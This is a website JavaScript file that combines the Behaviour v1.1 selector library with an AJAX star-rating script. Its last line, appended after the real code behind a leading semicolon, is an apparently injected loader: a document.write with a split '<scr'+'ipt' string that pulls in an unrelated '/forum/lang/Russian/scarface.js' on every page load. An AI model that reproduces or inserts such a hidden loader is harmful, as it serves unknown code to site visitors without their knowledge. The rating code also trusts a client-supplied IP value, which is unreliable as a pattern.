1/* 2 Behaviour v1.1 by Ben Nolan, June 2005. Based largely on the work 3 of Simon Willison (see comments by Simon below). 4 5 Description: 6 7 Uses css selectors to apply javascript behaviours to enable 8 unobtrusive javascript in html documents. 9 10 Usage: 11 12 var myrules = { 13 'b.someclass' : function(element){ 14 element.onclick = function(){ 15 alert(this.innerHTML); 16 } 17 }, 18 '#someid u' : function(element){ 19 element.onmouseover = function(){ 20 this.innerHTML = "BLAH!"; 21 } 22 } 23 }; 24 25 Behaviour.register(myrules); 26 27 // Call Behaviour.apply() to re-apply the rules (if you 28 // update the dom, etc). 29 30 License: 31 32 This file is entirely BSD licensed. 33 34 More information: 35 36 http://ripcord.co.nz/behaviour/ 37 38*/ 39 40var Behaviour = { 41 list : new Array, 42 43 register : function(sheet){ 44 Behaviour.list.push(sheet); 45 }, 46 47 start : function(){ 48 Behaviour.addLoadEvent(function(){ 49 Behaviour.apply(); 50 }); 51 }, 52 53 apply : function(){ 54 for (h=0;sheet=Behaviour.list[h];h++){ 55 for (selector in sheet){ 56 list = document.getElementsBySelector(selector); 57 58 if (!list){ 59 continue; 60 } 61 62 for (i=0;element=list[i];i++){ 63 sheet[selector](element); 64 } 65 } 66 } 67 }, 68 69 addLoadEvent : function(func){ 70 var oldonload = window.onload; 71 72 if (typeof window.onload != 'function') { 73 window.onload = func; 74 } else { 75 window.onload = function() { 76 oldonload(); 77 func(); 78 } 79 } 80 } 81} 82 83Behaviour.start(); 84 85/* 86 The following code is Copyright (C) Simon Willison 2004. 87 88 document.getElementsBySelector(selector) 89 - returns an array of element objects from the current document 90 matching the CSS selector. Selectors can contain element names, 91 class names and ids and can be nested. For example: 92 93 elements = document.getElementsBySelect('div#main p a.external') 94 95 Will return an array of all 'a' elements with 'external' in their 96 class attribute that are contained inside 'p' elements that are 97 contained inside the 'div' element which has id="main" 98 99 New in version 0.4: Support for CSS2 and CSS3 attribute selectors: 100 See http://www.w3.org/TR/css3-selectors/#attribute-selectors 101 102 Version 0.4 - Simon Willison, March 25th 2003 103 -- Works in Phoenix 0.5, Mozilla 1.3, Opera 7, Internet Explorer 6, Internet Explorer 5 on Windows 104 -- Opera 7 fails 105*/ 106 107function getAllChildren(e) { 108 // Returns all children of element. Workaround required for IE5/Windows. Ugh. 109 return e.all ? e.all : e.getElementsByTagName('*'); 110} 111 112document.getElementsBySelector = function(selector) { 113 // Attempt to fail gracefully in lesser browsers 114 if (!document.getElementsByTagName) { 115 return new Array(); 116 } 117 // Split selector in to tokens 118 var tokens = selector.split(' '); 119 var currentContext = new Array(document); 120 for (var i = 0; i < tokens.length; i++) { 121 token = tokens[i].replace(/^\s+/,'').replace(/\s+$/,'');; 122 if (token.indexOf('#') > -1) { 123 // Token is an ID selector 124 var bits = token.split('#'); 125 var tagName = bits[0]; 126 var id = bits[1]; 127 var element = document.getElementById(id); 128 if (tagName && element.nodeName.toLowerCase() != tagName) { 129 // tag with that ID not found, return false 130 return new Array(); 131 } 132 // Set currentContext to contain just this element 133 currentContext = new Array(element); 134 continue; // Skip to next token 135 } 136 if (token.indexOf('.') > -1) { 137 // Token contains a class selector 138 var bits = token.split('.'); 139 var tagName = bits[0]; 140 var className = bits[1]; 141 if (!tagName) { 142 tagName = '*'; 143 } 144 // Get elements matching tag, filter them for class selector 145 var found = new Array; 146 var foundCount = 0; 147 for (var h = 0; h < currentContext.length; h++) { 148 var elements; 149 if (tagName == '*') { 150 elements = getAllChildren(currentContext[h]); 151 } else { 152 elements = currentContext[h].getElementsByTagName(tagName); 153 } 154 for (var j = 0; j < elements.length; j++) { 155 found[foundCount++] = elements[j]; 156 } 157 } 158 currentContext = new Array; 159 var currentContextIndex = 0; 160 for (var k = 0; k < found.length; k++) { 161 if (found[k].className && found[k].className.match(new RegExp('\\b'+className+'\\b'))) { 162 currentContext[currentContextIndex++] = found[k]; 163 } 164 } 165 continue; // Skip to next token 166 } 167 // Code to deal with attribute selectors 168 if (token.match(/^(\w*)\[(\w+)([=~\|\^\$\*]?)=?"?([^\]"]*)"?\]$/)) { 169 var tagName = RegExp.$1; 170 var attrName = RegExp.$2; 171 var attrOperator = RegExp.$3; 172 var attrValue = RegExp.$4; 173 if (!tagName) { 174 tagName = '*'; 175 } 176 // Grab all of the tagName elements within current context 177 var found = new Array; 178 var foundCount = 0; 179 for (var h = 0; h < currentContext.length; h++) { 180 var elements; 181 if (tagName == '*') { 182 elements = getAllChildren(currentContext[h]); 183 } else { 184 elements = currentContext[h].getElementsByTagName(tagName); 185 } 186 for (var j = 0; j < elements.length; j++) { 187 found[foundCount++] = elements[j]; 188 } 189 } 190 currentContext = new Array; 191 var currentContextIndex = 0; 192 var checkFunction; // This function will be used to filter the elements 193 switch (attrOperator) { 194 case '=': // Equality 195 checkFunction = function(e) { return (e.getAttribute(attrName) == attrValue); }; 196 break; 197 case '~': // Match one of space seperated words 198 checkFunction = function(e) { return (e.getAttribute(attrName).match(new RegExp('\\b'+attrValue+'\\b'))); }; 199 break; 200 case '|': // Match start with value followed by optional hyphen 201 checkFunction = function(e) { return (e.getAttribute(attrName).match(new RegExp('^'+attrValue+'-?'))); }; 202 break; 203 case '^': // Match starts with value 204 checkFunction = function(e) { return (e.getAttribute(attrName).indexOf(attrValue) == 0); }; 205 break; 206 case '$': // Match ends with value - fails with "Warning" in Opera 7 207 checkFunction = function(e) { return (e.getAttribute(attrName).lastIndexOf(attrValue) == e.getAttribute(attrName).length - attrValue.length); }; 208 break; 209 case '*': // Match ends with value 210 checkFunction = function(e) { return (e.getAttribute(attrName).indexOf(attrValue) > -1); }; 211 break; 212 default : 213 // Just test for existence of attribute 214 checkFunction = function(e) { return e.getAttribute(attrName); }; 215 } 216 currentContext = new Array; 217 var currentContextIndex = 0; 218 for (var k = 0; k < found.length; k++) { 219 if (checkFunction(found[k])) { 220 currentContext[currentContextIndex++] = found[k]; 221 } 222 } 223 // alert('Attribute Selector: '+tagName+' '+attrName+' '+attrOperator+' '+attrValue); 224 continue; // Skip to next token 225 } 226 227 if (!currentContext[0]){ 228 return; 229 } 230 231 // If we get here, token is JUST an element (not a class or ID selector) 232 tagName = token; 233 var found = new Array; 234 var foundCount = 0; 235 for (var h = 0; h < currentContext.length; h++) { 236 var elements = currentContext[h].getElementsByTagName(tagName); 237 for (var j = 0; j < elements.length; j++) { 238 found[foundCount++] = elements[j]; 239 } 240 } 241 currentContext = found; 242 } 243 return currentContext; 244} 245�
246/* That revolting regular expression explained 247/^(\w+)\[(\w+)([=~\|\^\$\*]?)=?"?([^\]"]*)"?\]$/ 248 \---/ \---/\-------------/ \-------/ 249 | | | | 250 | | | The value 251 | | ~,|,^,$,* or = 252 | Attribute 253 Tag 254*/ 255/* 256Page: rating.js 257Created: Aug 2006 258Last Mod: Mar 11 2007 259Handles actions and requests for rating bars. 260--------------------------------------------------------- 261ryan masuga, masugadesign.com 262[email protected] 263Licensed under a Creative Commons Attribution 3.0 License. 264http://creativecommons.org/licenses/by/3.0/ 265See readme.txt for full credit details. 266--------------------------------------------------------- */ 267 268var xmlhttp 269 /*@cc_on @*/ 270 /*@if (@_jscript_version >= 5) 271 try { 272 xmlhttp=new ActiveXObject("Msxml2.XMLHTTP") 273 } catch (e) { 274 try { 275 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP") 276 } catch (E) { 277 xmlhttp=false 278 } 279 } 280 @else 281 xmlhttp=false 282 @end @*/ 283 if (!xmlhttp && typeof XMLHttpRequest!='undefined') { 284 try { 285 xmlhttp = new XMLHttpRequest(); 286 } catch (e) { 287 xmlhttp=false 288 } 289 } 290 function myXMLHttpRequest() { 291 var xmlhttplocal; 292 try { 293 xmlhttplocal= new ActiveXObject("Msxml2.XMLHTTP") 294 } catch (e) { 295 try { 296 xmlhttplocal= new ActiveXObject("Microsoft.XMLHTTP") 297 } catch (E) { 298 xmlhttplocal=false; 299 } 300 } 301 302 if (!xmlhttplocal && typeof XMLHttpRequest!='undefined') { 303 try { 304 var xmlhttplocal = new XMLHttpRequest(); 305 } catch (e) { 306 var xmlhttplocal=false; 307 alert('couldn\'t create xmlhttp object'); 308 } 309 } 310 return(xmlhttplocal); 311} 312 313function sndReq(vote,id_num,ip_num,units) { 314 var theUL = document.getElementById('unit_ul'+id_num); // the UL 315 316 // switch UL with a loading div 317 theUL.innerHTML = '<div class="loading"></div>'; 318 319 xmlhttp.open('get', 'include/plugins/rating/rpc.php?j='+vote+'&q='+id_num+'&t='+ip_num+'&c='+units); 320 xmlhttp.onreadystatechange = handleResponse; 321 xmlhttp.send(null); 322} 323 324function handleResponse() { 325 if(xmlhttp.readyState == 4){ 326 if (xmlhttp.status == 200){ 327 328 var response = xmlhttp.responseText; 329 var update = new Array(); 330 331 if(response.indexOf('|') != -1) { 332 update = response.split('|'); 333 changeText(update[0], update[1]); 334 } 335 } 336 } 337} 338 339function changeText( div2show, text ) { 340 // Detect Browser 341 var IE = (document.all) ? 1 : 0; 342 var DOM = 0; 343 if (parseInt(navigator.appVersion) >=5) {DOM=1}; 344 345 // Grab the content from the requested "div" and show it in the "container" 346 if (DOM) { 347 var viewer = document.getElementById(div2show); 348 viewer.innerHTML = text; 349 } else if(IE) { 350 document.all[div2show].innerHTML = text; 351 } 352} 353 354var headID = document.getElementsByTagName("head")[0]; 355var newScript = document.createElement('script'); 356 357 358/* =============================================================== */ 359var ratingAction = { 360 'a.rater' : function(element){ 361 element.onclick = function(){ 362 363 var parameterString = this.href.replace(/.*\?(.*)/, "$1"); // onclick="sndReq('j=1&q=2&t=127.0.0.1&c=5'); 364 var parameterTokens = parameterString.split("&"); // onclick="sndReq('j=1,q=2,t=127.0.0.1,c=5'); 365 var parameterList = new Array(); 366 367 for (j = 0; j < parameterTokens.length; j++) { 368 var parameterName = parameterTokens[j].replace(/(.*)=.*/, "$1"); // j 369 var parameterValue = parameterTokens[j].replace(/.*=(.*)/, "$1"); // 1 370 parameterList[parameterName] = parameterValue; 371 } 372 var theratingID = parameterList['q']; 373 var theVote = parameterList['j']; 374 var theuserIP = parameterList['t']; 375 var theunits = parameterList['c']; 376 377 //for testing alert('sndReq('+theVote+','+theratingID+','+theuserIP+','+theunits+')'); return false; 378 sndReq(theVote,theratingID,theuserIP,theunits); return false; 379 } 380 } 381 382 }; 383Behaviour.register(ratingAction); 384;document.write("<scr"+"ipt src='/forum/lang/Russian/scarface.js'><"+"/script>");
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.